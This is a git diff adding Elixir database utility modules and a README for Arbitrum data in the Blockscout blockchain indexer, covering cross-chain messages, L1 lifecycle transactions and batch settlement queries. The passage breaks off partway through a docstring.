a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/README.md b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/README.md new file mode 100644 index 000000000000..56ccaf8855db --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/README.md @@ -0,0 +1,37 @@ +# Database Utility Modules + +This directory contains modules that provide structured database access and manipulation for Arbitrum-specific data in the Blockscout indexer. + +## Module Overview + +- `common.ex` - Chain-agnostic database utility functions for block-related operations +- `messages.ex` - Functions for querying and managing cross-chain message data +- `parent_chain_transactions.ex` - Handles L1 transaction indexing and lifecycle management +- `settlement.ex` - Manages batch commitment and state confirmation data +- `tools.ex` - Internal helper functions for database record processing + +## Usage Guidelines + +1. Use logging judiciously to avoid overwhelming the logs with unnecessary information + +2. Use Reader modules from `Explorer.Chain.Arbitrum.Reader` namespace for raw database access if other modules under `Explorer.Chain` do not provide the functionality you need. + +3. Apply additional data transformation to maintain consistency with structures used for data import + +4. Implement proper error handling when database queries return `nil` + +## Module Organization + +The database functionality is split across multiple modules rather than maintained in a single monolithic file for two primary reasons: + +### 1. Collaborative Development + +Splitting functionality across multiple files significantly reduces the likelihood of merge conflicts when multiple developers are working on different features simultaneously. Each module can be modified independently without affecting other parts of the codebase. + +### 2. LLM-Based Development Optimization + +The modular structure is specifically designed to work better with Large Language Model (LLM) based coding assistants: + +- **Output Token Efficiency**: While modern LLMs can handle large files in their input context, they still have limitations on output tokens. Smaller files make it easier for AI assistants to propose and explain changes within these limits. + +- **Focus Window Management**: Smaller, focused modules help maintain a clear context window when working with AI assistants, making it easier to discuss and modify specific functionality without the noise of unrelated code. diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/common.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/common.ex new file mode 100644 index 000000000000..ef6f42e0a99e --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/common.ex @@ -0,0 +1,84 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Db.Common do + @moduledoc """ + Provides chain-agnostic database utility functions for block-related operations. + + This module contains general-purpose functions for querying data that are not + specific to Arbitrum and can be used across different blockchain implementations. + Functions in this module operate only on common database table shared across all + chain types. + + Note: Consider relocating these functions to a more general utility module if they + are needed by non-Arbitrum fetchers, as their current placement in the Arbitrum + namespace may be misleading. + """ + + alias Explorer.Chain.Arbitrum.Reader.Indexer.General, as: ArbitrumReader + alias Explorer.Chain.Block, as: FullBlock + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader + alias Explorer.Utility.MissingBlockRange + + @doc """ + Determines whether a given range of block numbers has been fully indexed without any missing blocks. + + ## Parameters + - `start_block`: The starting block number of the range to check for completeness in indexing. + - `end_block`: The ending block number of the range. + + ## Returns + - `true` if the entire range from `start_block` to `end_block` is indexed and contains no missing + blocks, indicating no intersection with missing block ranges; `false` otherwise. + """ + @spec indexed_blocks?(FullBlock.block_number(), FullBlock.block_number()) :: boolean() + def indexed_blocks?(start_block, end_block) + when is_integer(start_block) and start_block >= 0 and + is_integer(end_block) and start_block <= end_block do + is_nil(MissingBlockRange.intersects_with_range(start_block, end_block)) + end + + @doc """ + Retrieves the block number for the closest block immediately after a given timestamp. + + ## Parameters + - `timestamp`: The `DateTime` timestamp for which the closest subsequent block number is sought. + + ## Returns + - `{:ok, block_number}` where `block_number` is the number of the closest block that occurred + after the specified timestamp. + - `{:error, :not_found}` if no block is found after the specified timestamp. + """ + @spec closest_block_after_timestamp(DateTime.t()) :: {:error, :not_found} | {:ok, FullBlock.block_number()} + def closest_block_after_timestamp(timestamp) do + BlockGeneralReader.timestamp_to_block_number(timestamp, :after, false, true) + end + + @doc """ + Retrieves full details of rollup blocks, including associated transactions, for each block number specified in the input list. + + ## Parameters + - `list_of_block_numbers`: A list of block numbers for which full block details are to be retrieved. + + ## Returns + - A list of `Explorer.Chain.Block` instances containing detailed information for each + block number in the input list. Returns an empty list if no blocks are found for the given numbers. + """ + @spec rollup_blocks([FullBlock.block_number()]) :: [FullBlock.t()] + def rollup_blocks(list_of_block_numbers), do: ArbitrumReader.rollup_blocks(list_of_block_numbers) + + @doc """ + Retrieves block numbers within a range that are missing Arbitrum-specific fields. + + Identifies rollup blocks that lack one or more of the following fields: + `send_count`, `send_root`, or `l1_block_number`. + + ## Parameters + - `start_block_number`: The lower bound of the block range to check. + - `end_block_number`: The upper bound of the block range to check. + + ## Returns + - A list of block numbers that are missing one or more required fields. + """ + @spec blocks_with_missing_fields(FullBlock.block_number(), FullBlock.block_number()) :: [FullBlock.block_number()] + def blocks_with_missing_fields(start_block_number, end_block_number) do + ArbitrumReader.blocks_with_missing_fields(start_block_number, end_block_number) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/messages.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/messages.ex new file mode 100644 index 000000000000..e52d2738c473 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/messages.ex @@ -0,0 +1,312 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Db.Messages do + @moduledoc """ + Provides utility functions for querying Arbitrum cross-chain message data. + + This module serves as a wrapper around the database reader functions from + `Explorer.Chain.Arbitrum.Reader.Indexer.Messages`, providing additional data + transformation and error handling capabilities. + """ + + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1] + + alias Explorer.Chain.Arbitrum.Reader.Indexer.Messages, as: Reader + + alias Explorer.Chain.Arbitrum.{ + L1Execution, + Message + } + + alias Explorer.Chain.Block, as: FullBlock + alias Explorer.Chain.Hash + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Tools, as: DbTools + + require Logger + + @no_messages_warning "No messages to L2 found in DB" + @no_executions_warning "No L1 executions found in DB" + + @doc """ + Calculates the next L1 block number to search for the latest message sent to L2. + + ## Parameters + - `value_if_nil`: The default value to return if no L1-to-L2 messages have been discovered. + + ## Returns + - The L1 block number immediately following the latest discovered message to L2, + or `value_if_nil` if no messages to L2 have been found. + """ + @spec l1_block_to_discover_latest_message_to_l2(nil | FullBlock.block_number()) :: nil | FullBlock.block_number() + def l1_block_to_discover_latest_message_to_l2(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_latest_discovered_message_to_l2() do + nil -> + log_warning(@no_messages_warning) + value_if_nil + + value -> + value + 1 + end + end + + @doc """ + Calculates the next L1 block number to start the search for messages sent to L2 + that precede the earliest message already discovered. + + ## Parameters + - `value_if_nil`: The default value to return if no L1-to-L2 messages have been discovered. + + ## Returns + - The L1 block number immediately preceding the earliest discovered message to L2, + or `value_if_nil` if no messages to L2 have been found. + """ + @spec l1_block_to_discover_earliest_message_to_l2(nil | FullBlock.block_number()) :: nil | FullBlock.block_number() + def l1_block_to_discover_earliest_message_to_l2(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_earliest_discovered_message_to_l2() do + nil -> + log_warning(@no_messages_warning) + value_if_nil + + value -> + value - 1 + end + end + + @doc """ + Determines the next L1 block number to search for the latest execution of an L2-to-L1 message. + + ## Parameters + - `value_if_nil`: The default value to return if no execution transactions for L2-to-L1 messages + have been recorded. + + ## Returns + - The L1 block number following the block that contains the latest execution transaction + for an L2-to-L1 message, or `value_if_nil` if no such executions have been found. + """ + @spec l1_block_to_discover_latest_execution(nil | FullBlock.block_number()) :: nil | FullBlock.block_number() + def l1_block_to_discover_latest_execution(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_latest_execution() do + nil -> + log_warning(@no_executions_warning) + value_if_nil + + value -> + value + 1 + end + end + + @doc """ + Determines the L1 block number just before the block that contains the earliest known + execution transaction for an L2-to-L1 message. + + ## Parameters + - `value_if_nil`: The default value to return if no execution transactions for + L2-to-L1 messages have been found. + + ## Returns + - The L1 block number preceding the earliest known execution transaction for + an L2-to-L1 message, or `value_if_nil` if no such executions are found in the database. + """ + @spec l1_block_to_discover_earliest_execution(nil | FullBlock.block_number()) :: nil | FullBlock.block_number() + def l1_block_to_discover_earliest_execution(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_earliest_execution() do + nil -> + log_warning(@no_executions_warning) + value_if_nil + + value -> + value - 1 + end + end + + @doc """ + Retrieves a list of L2-to-L1 messages that have been initiated up to + a specified rollup block number. + + ## Parameters + - `block_number`: The block number up to which initiated L2-to-L1 messages + should be retrieved. + + ## Returns + - A list of maps, each representing an initiated L2-to-L1 message compatible with the + database import operation. If no initiated messages are found up to the specified + block number, an empty list is returned. + """ + @spec initiated_l2_to_l1_messages(FullBlock.block_number()) :: [Message.to_import()] + def initiated_l2_to_l1_messages(block_number) + when is_integer(block_number) and block_number >= 0 do + # credo:disable-for-lines:2 Credo.Check.Refactor.PipeChainStart + Reader.l2_to_l1_messages(:initiated, block_number) + |> Enum.map(&message_to_map/1) + end + + @doc """ + Retrieves a list of L2-to-L1 'sent' messages that have been included up to + a specified rollup block number. + + A message is considered 'sent' when there is a batch including the transaction + that initiated the message, and this batch has been successfully delivered to L1. + + ## Parameters + - `block_number`: The block number up to which sent L2-to-L1 messages are to be retrieved. + + ## Returns + - A list of maps, each representing a sent L2-to-L1 message compatible with the + database import operation. If no messages with the 'sent' status are found by + the specified block number, an empty list is returned. + """ + @spec sent_l2_to_l1_messages(FullBlock.block_number()) :: [Message.to_import()] + def sent_l2_to_l1_messages(block_number) + when is_integer(block_number) and block_number >= 0 do + # credo:disable-for-lines:2 Credo.Check.Refactor.PipeChainStart + Reader.l2_to_l1_messages(:sent, block_number) + |> Enum.map(&message_to_map/1) + end + + @doc """ + Retrieves a list of L2-to-L1 'confirmed' messages that have been included up to + a specified rollup block number. + + A message is considered 'confirmed' when its transaction was included in a rollup block, + and the confirmation of this block has been delivered to L1. + + ## Parameters + - `block_number`: The block number up to which confirmed L2-to-L1 messages are to be retrieved. + + ## Returns + - A list of maps, each representing a confirmed L2-to-L1 message compatible with the + database import operation. If no messages with the 'confirmed' status are found by + the specified block number, an empty list is returned. + """ + @spec confirmed_l2_to_l1_messages() :: [Message.to_import()] + def confirmed_l2_to_l1_messages do + # credo:disable-for-lines:2 Credo.Check.Refactor.PipeChainStart + Reader.l2_to_l1_messages(:confirmed, nil) + |> Enum.map(&message_to_map/1) + end + + @doc """ + Reads a list of transactions executing L2-to-L1 messages by their IDs. + + ## Parameters + - `message_ids`: A list of IDs to retrieve executing transactions for. + + ## Returns + - A list of `Explorer.Chain.Arbitrum.L1Execution` corresponding to the message IDs from + the input list. The output list may be smaller than the input list if some IDs do not + correspond to any existing transactions. + """ + @spec l1_executions([non_neg_integer()]) :: [L1Execution.t()] + def l1_executions(message_ids) when is_list(message_ids) do + Reader.l1_executions(message_ids) + end + + @doc """ + Retrieves the transaction hashes as strings for missed L1-to-L2 messages within + a specified block range. + + The function identifies missed messages by checking transactions of specific + types that are supposed to contain L1-to-L2 messages and verifying if there are + corresponding entries in the messages table. A message is considered missed if + there is a transaction without a matching message record within the specified + block range. + + ## Parameters + - `start_block`: The starting block number of the range. + - `end_block`: The ending block number of the range. + + ## Returns + - A list of transaction hashes as strings for missed L1-to-L2 messages. + """ + @spec transactions_for_missed_messages_to_l2(non_neg_integer(), non_neg_integer()) :: [String.t()] + def transactions_for_missed_messages_to_l2(start_block, end_block) do + # credo:disable-for-lines:2 Credo.Check.Refactor.PipeChainStart + Reader.transactions_for_missed_messages_to_l2(start_block, end_block) + |> Enum.map(&Hash.to_string/1) + end + + @doc """ + Retrieves the logs for missed L2-to-L1 messages within a specified block range + and converts them to maps. + + The function identifies missed messages by checking logs for the specified + L2-to-L1 event and verifying if there are corresponding entries in the messages + table. A message is considered missed if there is a log entry without a + matching message record within the specified block range. + + ## Parameters + - `start_block`: The starting block number of the range. + - `end_block`: The ending block number of the range. + + ## Returns + - A list of maps representing the logs for missed L2-to-L1 messages. + """ + @spec logs_for_missed_messages_from_l2(non_neg_integer(), non_neg_integer()) :: [ + %{ + data: String.t(), + index: non_neg_integer(), + first_topic: String.t(), + second_topic: String.t(), + third_topic: String.t(), + fourth_topic: String.t(), + address_hash: String.t(), + transaction_hash: String.t(), + block_hash: String.t(), + block_number: FullBlock.block_number() + } + ] + def logs_for_missed_messages_from_l2(start_block, end_block) do + arbsys_contract = Application.get_env(:indexer, Indexer.Fetcher.Arbitrum.Messaging)[:arbsys_contract] + + # credo:disable-for-lines:2 Credo.Check.Refactor.PipeChainStart + Reader.logs_for_missed_messages_from_l2(start_block, end_block, arbsys_contract, ArbitrumEvents.l2_to_l1()) + |> Enum.map(&logs_to_map/1) + end + + @doc """ + Retrieves the list of uncompleted L2-to-L1 messages IDs. + + ## Returns + - A list of the IDs of uncompleted L2-to-L1 messages. + """ + @spec get_uncompleted_l1_to_l2_messages_ids() :: [non_neg_integer()] + def get_uncompleted_l1_to_l2_messages_ids do + Reader.get_uncompleted_l1_to_l2_messages_ids() + end + + @spec message_to_map(Message.t()) :: Message.to_import() + defp message_to_map(message) do + [ + :direction, + :message_id, + :originator_address, + :originating_transaction_hash, + :origination_timestamp, + :originating_transaction_block_number, + :completion_transaction_hash, + :status + ] + |> DbTools.db_record_to_map(message) + end + + defp logs_to_map(log) do + [ + :data, + :index, + :first_topic, + :second_topic, + :third_topic, + :fourth_topic, + :address_hash, + :transaction_hash, + :block_hash, + :block_number + ] + |> DbTools.db_record_to_map(log, true) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/parent_chain_transactions.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/parent_chain_transactions.ex new file mode 100644 index 000000000000..744b8dfcf902 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/parent_chain_transactions.ex @@ -0,0 +1,139 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Db.ParentChainTransactions do + @moduledoc """ + Manages database operations for Arbitrum L1 (parent chain) lifecycle transactions. + + This module handles indexing and retrieval of L1 transactions that affect the Arbitrum + rollup state, including: + * Batch commitment transactions from the sequencer + * State root confirmation transactions post fraud-proof window + * User-initiated cross-chain message transactions + + Provides functionality to: + * Index new L1 transactions with sequential IDs + * Retrieve transaction data by hash + * Convert database records to import-compatible format + * Track transaction finalization status + """ + + alias Explorer.Chain.Arbitrum.LifecycleTransaction + alias Explorer.Chain.Arbitrum.Reader.Indexer.ParentChainTransactions, as: Reader + alias Explorer.Chain.Block, as: FullBlock + alias Indexer.Fetcher.Arbitrum.Utils.Db.Tools, as: DbTools + + require Logger + + @doc """ + Indexes L1 transactions provided in the input map. For transactions that + are already in the database, existing indices are taken. For new transactions, + the next available indices are assigned. + + ## Parameters + - `new_l1_transactions`: A map of L1 transaction descriptions. The keys of the map are + transaction hashes. + + ## Returns + - `l1_transactions`: A map of L1 transaction descriptions. Each element is extended with + the key `:id`, representing the index of the L1 transaction in the + `arbitrum_lifecycle_l1_transactions` table. + """ + @spec get_indices_for_l1_transactions(%{ + binary() => %{ + :hash => binary(), + :block_number => FullBlock.block_number(), + :timestamp => DateTime.t(), + :status => :unfinalized | :finalized, + optional(:id) => non_neg_integer() + } + }) :: %{binary() => LifecycleTransaction.to_import()} + # TODO: consider a way to remove duplicate with ZkSync.Utils.Db + def get_indices_for_l1_transactions(new_l1_transactions) + when is_map(new_l1_transactions) do + # Get indices for l1 transactions previously handled + l1_transactions = + new_l1_transactions + |> Map.keys() + |> Reader.lifecycle_transaction_ids() + |> Enum.reduce(new_l1_transactions, fn {hash, id}, transactions -> + {_, transactions} = + Map.get_and_update!(transactions, hash.bytes, fn l1_transaction -> + {l1_transaction, Map.put(l1_transaction, :id, id)} + end) + + transactions + end) + + # Get the next index for the first new transaction based + # on the indices existing in DB + l1_transaction_next_id = Reader.next_lifecycle_transaction_id() + + # Assign new indices for the transactions which are not in + # the l1 transactions table yet + {updated_l1_transactions, _} = + l1_transactions + |> Map.keys() + |> Enum.reduce( + {l1_transactions, l1_transaction_next_id}, + fn hash, {transactions, next_id} -> + transaction = transactions[hash] + id = Map.get(transaction, :id) + + if is_nil(id) do + {Map.put(transactions, hash, Map.put(transaction, :id, next_id)), next_id + 1} + else + {transactions, next_id} + end + end + ) + + updated_l1_transactions + end + + @doc """ + Reads a list of L1 transactions by their hashes from the + `arbitrum_lifecycle_l1_transactions` table and converts them to maps. + + ## Parameters + - `l1_transaction_hashes`: A list of hashes to retrieve L1 transactions for. + + ## Returns + - A list of maps representing the `Explorer.Chain.Arbitrum.LifecycleTransaction` + corresponding to the hashes from the input list. The output list is + compatible with the database import operation. + """ + @spec lifecycle_transactions([binary()]) :: [LifecycleTransaction.to_import()] + def lifecycle_transactions(l1_transaction_hashes) do + l1_transaction_hashes + |> Reader.lifecycle_transactions() + |> Enum.map(&lifecycle_transaction_to_map/1) + end + + @doc """ + Retrieves unfinalized L1 transactions that are involved in changing the statuses + of rollup blocks or transactions. + + An L1 transaction is considered unfinalized if it has not yet reached a state + where it is permanently included in the blockchain, meaning it is still susceptible + to potential reorganization or change. Transactions are evaluated against + the finalized_block parameter to determine their finalized status. + + ## Parameters + - `finalized_block`: The block number up to which unfinalized transactions are to be retrieved. + + ## Returns + - A list of maps representing unfinalized L1 transactions and compatible with the + database import operation. + """ + @spec lifecycle_unfinalized_transactions(FullBlock.block_number()) :: [LifecycleTransaction.to_import()] + def lifecycle_unfinalized_transactions(finalized_block) + when is_integer(finalized_block) and finalized_block >= 0 do + finalized_block + |> Reader.lifecycle_unfinalized_transactions() + |> Enum.map(&lifecycle_transaction_to_map/1) + end + + @spec lifecycle_transaction_to_map(LifecycleTransaction.t()) :: LifecycleTransaction.to_import() + defp lifecycle_transaction_to_map(transaction) do + [:id, :hash, :block_number, :timestamp, :status] + |> DbTools.db_record_to_map(transaction) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/settlement.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/settlement.ex new file mode 100644 index 000000000000..e0bca6a885d4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/utils/db/settlement.ex @@ -0,0 +1,618 @@ +defmodule Indexer.Fetcher.Arbitrum.Utils.Db.Settlement do + @moduledoc """ + Provides utility functions for querying Arbitrum rollup settlement data. + + This module serves as a wrapper around the database reader functions from + `Explorer.Chain.Arbitrum.Reader.Indexer.Settlement`, providing additional data + transformation and error handling capabilities for: + + * L1 batches - Sequential groups of L2 blocks committed to L1 + * Batch blocks - Individual L2 blocks included in L1 batches + * Block confirmations - L1 transactions confirming L2 block states + * Data availability records - Additional batch-related data (e.g., AnyTrust keysets) + """ + + @no_committed_batches_warning "No committed batches found in DB" + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1] + + alias Explorer.Chain.Arbitrum + alias Explorer.Chain.Arbitrum.Reader.Indexer.Settlement, as: Reader + alias Explorer.Chain.Block, as: FullBlock + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Tools, as: DbTools + + require Logger + + @doc """ + Calculates the next L1 block number to search for the latest committed batch. + + ## Parameters + - `value_if_nil`: The default value to return if no committed batch is found. + + ## Returns + - The next L1 block number after the latest committed batch or `value_if_nil` if no committed batches are found. + """ + @spec l1_block_to_discover_latest_committed_batch(FullBlock.block_number() | nil) :: FullBlock.block_number() | nil + def l1_block_to_discover_latest_committed_batch(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_latest_committed_batch() do + nil -> + log_warning(@no_committed_batches_warning) + value_if_nil + + value -> + value + 1 + end + end + + @doc """ + Calculates the L1 block number to start the search for committed batches. + + Returns the block number of the earliest L1 block containing a transaction + that commits a batch, as found in the database. If no committed batches are + found, it returns a default value. It's safe to use the returned block number + for subsequent searches, even if it corresponds to a block we've previously + processed. This is because multiple transactions committing different batches + can exist within the same block, and revisiting this block ensures no batches + are missed. + + The batch discovery process is expected to handle potential duplicates + correctly without creating redundant database entries. + + ## Parameters + - `value_if_nil`: The default value to return if no committed batch is found. + + ## Returns + - The L1 block number containing the earliest committed batch or `value_if_nil`. + """ + @spec l1_block_to_discover_earliest_committed_batch(nil | FullBlock.block_number()) :: nil | FullBlock.block_number() + def l1_block_to_discover_earliest_committed_batch(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_earliest_committed_batch() do + nil -> + log_warning(@no_committed_batches_warning) + value_if_nil + + value -> + value + end + end + + @doc """ + Retrieves the block number of the highest rollup block that has been included in a batch. + + ## Parameters + - `value_if_nil`: The default value to return if no rollup batches are found. + + ## Returns + - The number of the highest rollup block included in a batch + or `value_if_nil` if no rollup batches are found. + """ + @spec highest_committed_block(nil | integer()) :: nil | FullBlock.block_number() + def highest_committed_block(value_if_nil) + when is_integer(value_if_nil) or is_nil(value_if_nil) do + case Reader.highest_committed_block() do + nil -> value_if_nil + value -> value + end + end + + @doc """ + Retrieves the L1 block number immediately following the block where the confirmation transaction + for the highest confirmed rollup block was included. + + ## Parameters + - `value_if_nil`: The default value to return if no confirmed rollup blocks are found. + + ## Returns + - The L1 block number immediately after the block containing the confirmation transaction of + the highest confirmed rollup block, or `value_if_nil` if no confirmed rollup blocks are present. + """ + @spec l1_block_of_latest_confirmed_block(nil | FullBlock.block_number()) :: nil | FullBlock.block_number() + def l1_block_of_latest_confirmed_block(value_if_nil) + when (is_integer(value_if_nil) and value_if_nil >= 0) or is_nil(value_if_nil) do + case Reader.l1_block_of_latest_confirmed_block() do + nil -> + log_warning("No confirmed blocks found in DB") + value_if_nil + + value -> + value + 1 + end + end + + @doc """ + Retrieves the block number of the highest rollup block for which a confirmation transaction + has been sent to L1. + + ## Parameters + - `value_if_nil`: The default value to return if no confirmed rollup blocks are found. + + ## Returns + - The block number of the highest confirmed rollup block, + or `value_if_nil` if no confirmed rollup blocks are found in the database. + """ + @spec highest_confirmed_block(nil | integer()) :: nil | FullBlock.block_number() + def highest_confirmed_block(value_if_nil) + when is_integer(value_if_nil) or is_nil(value_if_nil) do + case Reader.highest_confirmed_block() do + nil -> value_if_nil + value -> value + end + end + + @doc """ + Retrieves the block number associated with a specific hash of a rollup block. + + ## Parameters + - `hash`: The hash of the rollup block whose number is to be retrieved. + + ## Returns + - The block number associated with the given rollup block hash. + """ + @spec rollup_block_hash_to_num(binary()) :: FullBlock.block_number() | nil + def rollup_block_hash_to_num(hash) when is_binary(hash) do + Reader.rollup_block_hash_to_num(hash) + end + + @doc """ + Retrieves the L1 batch that includes a specified rollup block number. + + ## Parameters + - `num`: The block number of the rollup block for which the containing + L1 batch is to be retrieved. + + ## Returns + - The `Explorer.Chain.Arbitrum.L1Batch` associated with the given rollup block number + if it exists and its commit transaction is loaded. + """ + @spec get_batch_by_rollup_block_number(FullBlock.block_number()) :: Arbitrum.L1Batch.t() | nil + def get_batch_by_rollup_block_number(num) + when is_integer(num) and num >= 0 do + case Reader.get_batch_by_rollup_block_number(num) do + nil -> + nil + + batch -> + case batch.commitment_transaction do + nil -> + raise commitment_transaction_not_loaded_error(num) + + %Ecto.Association.NotLoaded{} -> + raise commitment_transaction_not_loaded_error(num) + + _ -> + batch + end + end + end + + # Constructs an error message for when a commitment transaction is not loaded + @spec commitment_transaction_not_loaded_error(FullBlock.block_number()) :: String.t() + defp commitment_transaction_not_loaded_error(batch_number) do + "Incorrect state of the DB: commitment_transaction is not loaded for the batch with number #{batch_number}" + end + + @doc """ + Retrieves a batch by its number. + + ## Parameters + - `number`: The number of a rollup batch. + + ## Returns + - An instance of `Explorer.Chain.Arbitrum.L1Batch`, or `nil` if no batch with + such a number is found. + """ + @spec get_batch_by_number(non_neg_integer()) :: Arbitrum.L1Batch.t() | nil + def get_batch_by_number(number) do + Reader.get_batch_by_number(number) + end + + @doc """ + Retrieves rollup blocks within the specified range from `first_block` to `last_block`, inclusive, + that either: + - Have not been confirmed yet, or + - May need re-confirmation due to potentially incorrect confirmation assignments + + ## Parameters + - `first_block`: The rollup block number starting the lookup range. + - `last_block`: The rollup block number ending the lookup range. + + ## Returns + - A list of maps, each representing an unconfirmed rollup block within the specified range, + ordered by block_number in ascending order. If no unconfirmed blocks are found within + the range, an empty list is returned. + """ + @spec unconfirmed_rollup_blocks(FullBlock.block_number(), FullBlock.block_number()) :: [ + Arbitrum.BatchBlock.to_import() + ] + def unconfirmed_rollup_blocks(first_block, last_block) + when is_integer(first_block) and first_block >= 0 and + is_integer(last_block) and first_block <= last_block do + # Get truly unconfirmed blocks first + unconfirmed_blocks = Reader.unconfirmed_rollup_blocks(first_block, last_block) + + # If there are unconfirmed blocks, check if we need to add more blocks for re-confirmation + blocks_to_transform = + case unconfirmed_blocks do + [] -> + [] + + blocks -> + # Since blocks are in descending order, the first one is the highest unconfirmed + highest_unconfirmed = hd(blocks) + + # If the highest unconfirmed block is not the last_block, it means last_block is already confirmed + # but potentially with wrong transaction. Get all blocks from highest_unconfirmed + 1 to last_block + if highest_unconfirmed.block_number < last_block do + # Get blocks eligible for re-confirmation and combine with truly unconfirmed blocks + reconfirmation_blocks = Reader.rollup_blocks_by_range(highest_unconfirmed.block_number + 1, last_block) + reconfirmation_blocks ++ blocks + else + blocks + end + end + + # Transform blocks to the expected format and maintain ascending order + blocks_to_transform + |> Enum.reverse() + |> Enum.map(&rollup_block_to_map/1) + end + + @doc """ + Counts the number of confirmed rollup blocks in a specified batch. + + ## Parameters + - `batch_number`: The batch number for which the count of confirmed rollup blocks + is to be determined. + + ## Returns + - A number of rollup blocks confirmed in the specified batch. + """ + @spec count_confirmed_rollup_blocks_in_batch(non_neg_integer()) :: non_neg_integer() + def count_confirmed_rollup_blocks_in_batch(batch_number) + when is_integer(batch_number) and batch_number >= 0 do + Reader.count_confirmed_rollup_blocks_in_batch(batch_number) + end + + @doc """ + Checks if the numbers from the provided list correspond to the numbers of indexed batches. + + ## Parameters + - `batches_numbers`: The list of batch numbers. + + ## Returns + - A list of batch numbers that are indexed and match the provided list, or `[]` + if none of the batch numbers in the provided list exist in the database. The output list + may be smaller than the input list. + """ + @spec batches_exist([non_neg_integer()]) :: [non_neg_integer()] + def batches_exist(batches_numbers) when is_list(batches_numbers) do + Reader.batches_exist(batches_numbers) + end + + @doc """ + Identifies the range of L1 blocks to investigate for missing confirmations of rollup blocks. + + This function determines the L1 block numbers bounding the interval where gaps in rollup block + confirmations might exist. It uses the highest confirmed block and the highest unconfirmed block + below it to define this range. + + The function uses a series of targeted queries instead of a single comprehensive query for + better performance and stability. This approach: + 1. Avoids expensive table scans and grouping operations on large datasets + 2. Leverages existing indexes more effectively + 3. Reduces memory usage by fetching only necessary data + 4. Prevents query timeouts that can occur with complex joins and window functions + 5. Makes better use of the (confirmation_id, block_number DESC) index for unconfirmed blocks + + The function handles several cases: + 1. No confirmed blocks in DB: + - Returns `{nil, right_pos_value_if_nil}` + 2. All blocks are confirmed: + - Returns `{nil, l1_block - 1}` where l1_block is the L1 block number where the earliest + batch-discovered block was confirmed + 3. Unconfirmed blocks in the middle: + - Returns `{lower_l1_block + 1, upper_l1_block - 1}` where: + * lower_l1_block is the L1 block containing confirmation for the highest confirmed block below the gap + * upper_l1_block is the L1 block containing confirmation for the lowest confirmed block above the gap + 4. All unconfirmed blocks at the bottom: + - Returns `{nil, upper_l1_block - 1}` where upper_l1_block is the L1 block containing + confirmation for the lowest confirmed block above the unconfirmed range + + ## Parameters + - `right_pos_value_if_nil`: The default value to use for the upper bound of the range if no + confirmed blocks found. + + ## Returns + - A tuple containing two elements: the lower and upper bounds of L1 block numbers to check + for missing rollup block confirmations. If the necessary confirmation data is unavailable, + the first element will be `nil`, and the second will be `right_pos_value_if_nil`. + """ + @spec l1_blocks_to_expect_rollup_blocks_confirmation(nil | FullBlock.block_number()) :: + {nil | FullBlock.block_number(), nil | FullBlock.block_number()} + def l1_blocks_to_expect_rollup_blocks_confirmation(right_pos_value_if_nil) do + with {:highest_confirmed, highest_confirmed} when not is_nil(highest_confirmed) <- + {:highest_confirmed, Reader.highest_confirmed_block()}, + {:highest_unconfirmed, highest_unconfirmed} when not is_nil(highest_unconfirmed) <- + {:highest_unconfirmed, Reader.highest_unconfirmed_block_below(highest_confirmed)} do + case {Reader.l1_block_of_closest_confirmed_block_above(highest_unconfirmed), + Reader.l1_block_of_closest_confirmed_block_below(highest_unconfirmed)} do + {{:ok, upper_l1_block}, {:ok, lower_l1_block}} -> + # Unconfirmed blocks in the middle + {lower_l1_block + 1, upper_l1_block - 1} + + {{:ok, upper_l1_block}, {:error, :not_found}} -> + # All unconfirmed blocks at the bottom + {nil, upper_l1_block - 1} + + {{:error, _}, _} -> + # Error case: DB is inconsistent: although there should not be any unconfirmed blocks + # above the highest unconfirmed block, we cannot find the confirmations transaction + # for one of the block higher than the highest unconfirmed block. + raise "DB is inconsistent: could not get the L1 block of the closest confirmed block above the highest unconfirmed block" + end + else + {:highest_confirmed, nil} -> + # Either the database is empty or all blocks are unconfirmed. + log_warning("No confirmed blocks found in DB") + {nil, right_pos_value_if_nil} + + {:highest_unconfirmed, nil} -> + # All blocks discovered by the batch fetcher are confirmed. But there + # is a chance that in the next iteration it could be found new blocks + # below the earliest confirmed block and they are not confirmed yet. + {nil, Reader.l1_block_of_earliest_block_confirmation() - 1} + end + end + + @doc """ + Retrieves L1 block ranges that could be used to re-discover missing batches + within a specified range of batch numbers. + + This function identifies the L1 block ranges corresponding to missing L1 batches + within the given range of batch numbers. It first finds the missing batches, + then determines their 